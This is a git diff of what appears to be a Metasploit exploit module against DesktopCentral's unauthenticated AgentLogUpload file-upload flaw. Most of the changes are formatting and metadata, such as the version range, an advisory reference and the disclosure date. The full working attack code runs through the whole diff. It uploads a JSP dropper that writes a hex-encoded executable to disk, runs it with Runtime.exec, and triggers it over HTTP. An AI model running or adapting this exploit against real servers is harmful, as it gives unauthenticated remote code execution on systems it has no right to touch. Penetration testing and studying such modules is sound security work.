diff --git a/modules/exploits/windows/http/desktopcentral_file_upload.rb b/modules/exploits/windows/http/desktopcentral_file_upload.rb old mode 100755 new mode 100644 index 51dd6851e4..2a231adde5 --- a/modules/exploits/windows/http/desktopcentral_file_upload.rb +++ b/modules/exploits/windows/http/desktopcentral_file_upload.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## @@ -11,45 +9,42 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::EXE + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE include Msf::Exploit::FileDropper - def initialize(info = {}) - super(update_info(info, - 'Name' => 'DesktopCentral AgentLogUpload Arbitrary File Upload', - 'Description' => %q{ - This module exploits an arbitrary file upload vulnerability in DesktopCentral 8.0.0 build 80286 or below.. - A malicious user can upload a JSP file into the web root without authentication, leading to arbitrary code execution. - }, - 'Author' => - [ - 'Thomas Hibbert' # thomas.hibbert@security-assessment.com - ], - 'License' => MSF_LICENSE, - 'References' => - [ - ], - 'Payload' => - { - 'BadChars' => "\x00", - }, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Targets' => - [ - [ 'Desktop Central server / Windows', {} ], + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DesktopCentral AgentLogUpload Arbitrary File Upload', + 'Description' => %q{ +This module exploits an arbitrary file upload vulnerability in DesktopCentral 8.0.0 below build 80293. +A malicious user can upload a JSP file into the web root without authentication, leading to arbitrary code execution. + }, + 'Author' => + [ + 'Thomas Hibbert' # thomas.hibbert@security-assessment.com + ], + 'License' => MSF_LICENSE, + 'References' => [ 'http://security-assessment.com/files/documents/advisory/Desktop%20Central%20Arbitrary%20File%20Upload.pdf'], + 'Payload' => + { + }, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Targets' => + [ + [ 'Desktop Central server / Windows', {} ], - ], - 'DefaultTarget' => 0, - 'DisclosureDate' => 'some point....')) + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Nov 11 2013')) - register_options( - [ + register_options( + [ Opt::RPORT(8020), Opt::RHOST() - ], self.class) - end - + ], self.class) + end + def upload_file(filename, contents) res = send_request_cgi( { @@ -58,48 +53,46 @@ class Metasploit3 < Msf::Exploit::Remote 'data' => contents, 'ctype' => "text/html", }) - + if res and res.code == 200 return true else return false end end - + def check res = send_request_cgi({ 'uri' => normalize_uri("agentLogUploader"), 'method' => 'POST' }) - + if res and res.code == 200 return Exploit::CheckCode::Detected end - + return Exploit::CheckCode::Safe end - + def exploit @peer = "#{rhost}:#{rport}" - + print_status("#{@peer} - Uploading JSP to execute the payload") - + exe = payload.encoded_exe exe_filename = rand_text_alpha_lower(8) + ".exe" - - # The JSP dropper is needed because there isn't directory traversal, just - # arbitrary file upload to a web path where JSP code execution is allowed. + dropper = jsp_drop_and_execute(exe, exe_filename) dropper_filename = rand_text_alpha_lower(8) + ".jsp" - print_status("#{dropper_filename}") - + if upload_file(dropper_filename, dropper) register_files_for_cleanup(exe_filename) + register_files_for_cleanup(dropper_filename) @dropper = dropper_filename else fail_with(Exploit::Failure::Unknown, "#{@peer} - JSP upload failed") end - + print_status("#{@peer} - Executing payload") send_request_cgi( { @@ -107,17 +100,16 @@ class Metasploit3 < Msf::Exploit::Remote 'method' => 'GET' }) end - - # This should probably go in a mixin + def jsp_drop_bin(bin_data, output_file) jspraw = %Q|<%@ page import="java.io.*" %>\n| jspraw << %Q|<%\n| jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| - + jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n| - + jspraw << %Q|int numbytes = data.length();\n| - + jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n| jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n| jspraw << %Q|{\n| @@ -128,25 +120,23 @@ class Metasploit3 < Msf::Exploit::Remote jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n| jspraw << %Q| bytes[counter/2] = (byte)comb;\n| jspraw << %Q|}\n| - + jspraw << %Q|outputstream.write(bytes);\n| jspraw << %Q|outputstream.close();\n| jspraw << %Q|%>\n| - + jspraw end - + def jsp_execute_command(command) jspraw = %Q|\n| jspraw << %Q|<%\n| jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n| jspraw << %Q|%>\n| - + jspraw end - def jsp_drop_and_execute(bin_data, output_file) jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file) end end -